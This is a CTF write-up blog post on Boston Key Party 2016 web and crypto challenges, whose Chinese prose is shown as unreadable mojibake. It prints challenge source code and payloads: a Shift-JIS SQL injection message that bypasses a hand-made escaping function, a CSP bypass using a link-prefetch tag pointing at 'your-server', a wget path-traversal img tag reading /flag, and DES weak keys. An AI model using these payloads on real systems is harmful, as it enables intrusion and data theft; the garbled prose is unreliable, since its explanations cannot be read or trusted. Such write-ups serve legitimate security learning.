LoRexxar's Blog

bkp2016_writeup

2016/03/07

鍛ㄦ湯鎵撲簡涓尝澹】鐨刡ostonpartyctf锛岃櫧鐒舵帓鍚嶄笉楂橈紝浣嗘槸web瀛﹀埌浜嗘尯澶氭湁鎰忔濈殑涓滆タ鈥

1
2
3
4
5
6
7
8
9
10
11
1 - HITCON - 96
2 - b1o0p - 96
3 - PPP - 87
4 - Eat Sleep Pwn Repeat - 82
5 - LC鈫疊C - 78
6 - PartOfShellphish - 75
7 - RoKyc - 71
8 - Dragon Sector - 68
9 - !SpamAndHex - 67
10 - KAIST GoN - 67
85 - HDUISA - 17

WEB

web 1 (sjis缂栫爜)

鍒氬垰鎵撳紑鏄竴涓粈涔堢壒鍒皽鐨勪笢瑗匡紝鎸夊洖杞︿篃娌″紕鏄庣櫧鎬庝箞鍥炰簨锛屽悗鏉ョ粰浜嗘簮鐮侊紝鎵嶅彂鐜版槸鑷繁鐨勬祻瑙堝櫒鏈夋瘨鈥

ganbatte.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python
from flask import Flask, render_template, Response
from flask_sockets import Sockets
import json
import MySQLdb
app = Flask(__name__)
sockets = Sockets(app)
with open("config.json") as f:
connect_params = json.load(f)
connect_params["db"] = "ganbatte"
# Use Shift-JIS for everything so it uses less bytes
Response.charset = "shift-jis"
connect_params["charset"] = "sjis"
questions = [
"name",
"quest",
"favorite color",
]
# List from http://php.net/manual/en/function.mysql-real-escape-string.php
MYSQL_SPECIAL_CHARS = [
("\\", "\\\\"),
("\0", "\\0"),
("\n", "\\n"),
("\r", "\\r"),
("'", "\\'"),
('"', '\\"'),
("\x1a", "\\Z"),
]
def mysql_escape(s):
for find, replace in MYSQL_SPECIAL_CHARS:
s = s.replace(find, replace)
return s
@sockets.route('/ws')
def process_questsions(ws):
i = 0
conn = MySQLdb.connect(**connect_params)
with conn as cursor:
ws.send(json.dumps({"type": "question", "topic": questions[i], "last": i == len(questions)-1}))
while not ws.closed:
message = ws.receive()
if not message: continue
message = json.loads(message)
if message["type"] == "answer":
question = mysql_escape(questions[i])
answer = mysql_escape(message["answer"])
cursor.execute('INSERT INTO answers (question, answer) VALUES ("%s", "%s")' % (question, answer))
conn.commit()
i += 1
if i < len(questions):
ws.send(json.dumps({"type": "question", "topic": questions[i], "last": i == len(questions)-1}))
elif message["type"] == "get_answer":
question = mysql_escape(message["question"])
answer = mysql_escape(message["answer"])
cursor.execute('SELECT * FROM answers WHERE question="%s" AND answer="%s"' % (question, answer))
ws.send(json.dumps({"type": "got_answer", "row": cursor.fetchone()}))x
print message
@app.route('/')
def hello():
return app.send_static_file("index.html")
if __name__ == "__main__":
from gevent import pywsgi
from geventwebsocket.handler import WebSocketHandler
addr = ('localhost', 5000)
server = pywsgi.WSGIServer(addr, app, handler_class=WebSocketHandler)
server.serve_forever()

杩樻湁涓猨s锛屾槸socket鐨勫垵濮嬪寲.
鏁翠釜绔欐槸flask+web_socket鐨勭珯銆

浠旂粏璇昏婧愮爜澶ф灏辨槸type=answer鏄彃鍏ユ暟鎹倀ype=get_answer鏄痵elect鏁版嵁锛屽彂鐜扮紪鐮佹槸涓涓紶璇翠腑鐨勬棩鏂囩紪鐮乻jis锛屾湰鏉ヤ互涓烘槸瀹藉瓧鑺傦紝缁撴灉鎼滃埌socket涓嶈兘urlencode锛屾墍浠ヤ紶鍏ョ殑%bf%5c杩欐牱鐨勫氨鏄綋浣6涓瓧绗︼紝鑰屼笉鏄痷ncode涓虹鍙凤紝鎵浠ュ崱浜嗗緢涔咃紝鍚庢潵浠庝竴涓皬浼欎即閭i噷鐭ラ亾锛屽湪sjis涓湁涓鍙凤紙js涓String.fromCharCode(0xa5)锛夊彲浠ヤ唬鏇縗锛屾墍浠ayload鏄繖鏍风殑銆

SENT: {"type":"get_answer","question":"name楼","answer":"||1#"}
杩欓噷鐨勮繖涓ュ彲浠ヤ唬鏇縗锛岃繖鏍峰氨鍙互杞箟鍚庨潰鐨勫弻寮曞彿锛岀劧鍚庡氨浼氳繑鍥炵涓鏉℃暟鎹
RESPONSE: {"type": "got_answer", "row": [1, "flag", "BKPCTF{TryYourBestOnTheOthersToo}"]}

鍏充簬绗﹀彿鐨勯棶棰樻槸浠庤繖閲岀湅鍒扮殑銆
http://www.tryphp.net/phpsecurity-sql/

娉ㄦ剰绔欐槸鏃ユ枃锛岃屼笖鏄痷tf-8缂栫爜锛屽姞杞芥垚鍔熷悗绗﹀彿灏变細鍙樻垚.鈥.

鍚庢潵鐪嬪埆浜虹殑writeup锛屾壘鍒颁竴绡囨枃绔.
http://www.we-edit.de/stackoverflow/question/how-to-create-a-sql-injection-attack-with-shift-jis-and-cp932-28705324.html

web2 bug bounty(xss bypass csp)

涓涓被浼间簬bug鎻愪氦骞冲彴锛屾彁浜ug锛岃緭瀵归獙璇佺爜灏变細鎻愪氦鎴愬姛锛岀劧鍚庡氨鏈変汉瀹℃牳銆
鎰熻鏈夌偣鍎垮儚xss锛屼絾鏄紑浜咰SP;

1
2
Content-Security-Policy
default-src 'none'; connect-src 'self'; frame-src 'self'; script-src 52.87.183.104:5000/dist/js/ 'sha256-KcMxZjpVxhUhzZiwuZ82bc0vAhYbUJsxyCXODP5ulto=' 'sha256-u++5+hMvnsKeoBWohJxxO3U9yHQHZU+2damUA6wnikQ=' 'sha256-zArnh0kTjtEOVDnamfOrI8qSpoiZbXttc6LzqNno8MM=' 'sha256-3PB3EBmojhuJg8mStgxkyy3OEJYJ73ruOF7nRScYnxk=' 'sha256-bk9UfcsBy+DUFULLU6uX/sJa0q7O7B8Aal2VVl43aDs='; font-src 52.87.183.104:5000/dist/fonts/ fonts.gstatic.com; style-src 52.87.183.104:5000/dist/css/ fonts.googleapis.com; img-src 'self';

鐪嬩簡鐪嬫劅瑙夋病浠涔堥棶棰橈紝鐒跺悗灏卞幓鎵惧叧浜巄ypass csp鐨勬枃绔犱簡锛屽悗鏉ユ壘鍒颁竴涓帀鐐稿ぉ鐨刾pt锛屾湁鏃堕棿涓撻棬鍐欎竴涓崥瀹㈢爺绌朵笅銆

杩欓鐭ラ亾鏄痓ypass csp锛屼絾鏄病浠涔堟兂娉曪紝鍚庢潵鐪嬪埌writeup鎵嶅彂鐜版槸涓涓煡閬撶殑涓滆タ锛屾灉鐒堕粦鐩掑拰鐧界洅娴嬭瘯涓嶅お涓鏍封

payload锛

1
<link rel="prefetch" href="http://your-server/">

鎻愪氦骞惰緭瀵归獙璇佺爜灏变細鏈変汉鎵撳紑瀹℃牳鐨勩

web3 OptiProxy (ruby web+wget 鍙傛暟)

鏈寮濮嬬湅鍒版簮鐮佺畝鐩存嚨浜嗏﹁繖涓猚tf涓惧姙鏂瑰ソ鏈夋劅瑙夛紝涓嶆槸python灏辨槸ruby锛屽悐锛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
require 'nokogiri'
require 'open-uri'
require 'sinatra'
require 'shellwords'
require 'base64'
require 'fileutils'
set :bind, "0.0.0.0"
set :port, 5300
cdir = Dir.pwd //dir.pwd杩斿洖褰撳墠璺姴
get '/' do
str = "welcome to the automatic resource inliner, we inline all images"
str << " go to /example.com to get an inlined version of example.com"
str << " flag is in /flag"
str << " source is in /source"
str
end
get '/source' do
IO.read "/home/optiproxy/optiproxy.rb"
end
get '/flag' do
str = "I mean, /flag on the file system... If you're looking here, I question"
str << " your skills"
str
end
get '/:url' do
url = params[:url]
main_dir = Dir.pwd //杩斿洖褰撳墠璺緞
temp_dir = ""
dir = Dir.mktmpdir "inliner" //鍦╰mp涓嬪垱寤轰竴涓猧nliner+闅忔満鏁扮殑鏂囦欢澶
Dir.chdir dir //鏀瑰彉褰撳墠鐩綍
temp_dir = dir //澶嶅埗缁檛emp_dir
exec = "timeout 5 wget -T 2 --page-requisites #{Shellwords.shellescape url}" //shellwords.shellescape瀵箄rl杩涜杞箟
`#{exec}` //鎵ц鍛戒护琛寃get
my_dir = Dir.glob ("**/") //鍖归厤鎵鏈夋枃浠跺す锛屼互鏁扮粍鐨勬柟寮忚繑鍥
Dir.chdir my_dir[0] //鏀瑰彉褰撳墠鐩綍涓虹涓涓紙涔熷氨鏄痺get鍥炴潵鐨勶級
index_file = "index.html"
html_file = IO.read index_file //杩斿洖index.html鐨勬簮鐮
doc = Nokogiri::HTML(open(index_file))
doc.xpath('//img').each do |img| //閬嶅巻index.html鐨勬墍鏈塱mg鏍囩
header = img.xpath('preceding::h2[1]').text
image = img['src']
img_data = ""
uri_scheme = URI(image).scheme
begin // try
if (uri_scheme == "http" or uri_scheme == "https") //鎷兼帴url
url = image
else
url = "http://#{url}/#{image}"
end
img_data = open(url).read
b64d = "data:image/png;base64," + Base64.strict_encode64(img_data)
img['src'] = b64d
rescue //鐩稿綋浜巆atch
# gotta catch 'em all
puts "lole"
next
end
end
puts dir
FileUtils.rm_rf dir //鍒犳帀鎵鏈夊唴瀹广
Dir.chdir main_dir
doc.to_html
end

鍏堝浜嗕竴涓嬪崍鐨剅uby web鍩烘湰鐪嬫噦浜嗭紝绔欏熀鏈槸涓涓唬鐞嗕竴鏍风殑涓滆タ銆傚氨鍍
http://optiproxy.bostonkey.party:5300/example.com
浠栦細wget example.com鐨勯椤礽ndex.html鍜宨mg锛岀劧鍚庤繑鍥烇紝骞舵妸Img src鐨勫唴瀹逛互base64鐨勬柟寮忚繑鍥炲洖鏉ャ

鍦ㄦ湇鍔″櫒涓婂啓涓涓猧mg鏍囩锛<img src="http://www.baidu.com" />
鍥犱负鏄痺get锛屾墍浠ヨ繕鏄缃戯紝涓嶇煡閬撴庝箞璇绘湰鍦扮殑涓滆タ锛屽崱浜嗗緢涔咃紝鍚庢潵鍒汉鍛婅瘔鎴戯紝鎴戞墠鐭ラ亾鏄痺get鐨勨損age-requisites鍙傛暟锛屽鏋滀綘鐨刬mg鍍忚繖鏍峰啓
<img src="http:/../../../../flag" />
閭d箞灏辫兘杩囦粬鐨刪ttp澶村垽瀹氾紝鐒跺悗鏈嶅姟鍣╳get浼氬缓绔嬩竴涓猦ttp:鐨勬枃浠跺す锛屾帴鐫灏辫兘璇诲埌/flag浜嗭紝鍚婂悐鍚娾

PPC & Crypto

des ofb (des 寮卞彛浠ゅ瘑閽)

棰樼洰涓嶆槸鎴戝仛鐨勶紝浣嗘槸杩樻槸寰堟湁鏀惰幏銆
娌℃濊矾锛屼竴鑴告嚨閫
https://eprint.iacr.org/2007/385.pdf
DES寮卞瘑閽ワ紝鏈夊洓涓細
weak_pass = [
鈥榎x01鈥8,
鈥榎xfe鈥
8,
鈥榎xe0鈥4 + 鈥榎xf1鈥4,
鈥榎x1f鈥4 + 鈥榎x0e鈥4
]
鍐欒剼鏈В瀵嗕竴涓嬪氨鍑烘潵浜嗐

鍏蜂綋鏈鏈嬪弸鐨勫崥瀹

CATALOG
  1. 1. WEB
    1. 1.1. web 1 (sjis缂栫爜)
    2. 1.2. web2 bug bounty(xss bypass csp)
    3. 1.3. web3 OptiProxy (ruby web+wget 鍙傛暟)
  2. 2. PPC & Crypto
    1. 2.1. des ofb (des 寮卞彛浠ゅ瘑閽)